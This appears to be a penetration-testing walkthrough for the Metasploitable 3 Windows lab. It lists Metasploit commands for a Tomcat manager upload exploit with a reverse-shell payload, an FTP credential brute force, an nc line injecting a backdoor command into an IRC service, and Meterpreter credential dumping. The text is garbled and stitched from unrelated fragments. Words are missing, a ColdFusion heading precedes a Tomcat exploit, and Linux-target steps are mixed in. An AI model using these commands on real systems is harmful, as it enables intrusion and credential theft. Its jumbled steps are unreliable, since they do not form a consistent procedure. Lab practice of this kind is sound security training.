Metasploitable 3 Windows Walkthrough

If you are an admin but not SYSTEM, use the incognito module in Meterpreter:

If WinRM is available, you can get a shell if you have credentials.

“To truly understand defense, you must first master offense – but always with ethics and permission.”

These videos cover the setup and initial exploitation scenarios for the Windows version of Metasploitable 3.

Metasploitable 3 Windows is designed to be exploited in multiple ways. We will focus on two common vectors: and SMB . Method 1: Exploiting Adobe ColdFusion (Port 8500) metasploitable 3 windows walkthrough

msf6 > use exploit/multi/http/tomcat_mgr_upload msf6 > set RHOSTS 192.168.1.100 msf6 > set RPORT 8080 msf6 > set HttpUsername tomcat msf6 > set HttpPassword tomcat msf6 > set PAYLOAD java/meterpreter/reverse_tcp msf6 > exploit

msfconsole use auxiliary/scanner/ftp/ftp_login set RHOSTS <Target_IP> set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt run

# Connect to the IRC service and inject the backdoor command: echo "AB; mkdir /tmp/pwn" | nc <target_IP> 6697

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The first rule of engagement: We cannot attack what we do not know exists.

The first run will download the base box and build the vulnerable Windows environment—this can take around depending on your internet speed.

With the lab set up, it's time to assume the role of a penetration tester.

meterpreter > creds_msv meterpreter > creds_kerberos meterpreter > creds_wdigest We will focus on two common vectors: and SMB

⚠️ This guide is strictly for educational purposes. All demonstrations are performed in an isolated lab using Metasploitable 3. Never attempt these techniques on unauthorized systems.

A valid credential is typically found, granting :

-sC : Runs default Nmap NSE scripts to detect vulnerabilities. -O : Enables operating system detection. -T4 : Speeds up execution using aggressive timing templates. Analyzing the Target Attack Surface

use auxiliary/scanner/portscan/ack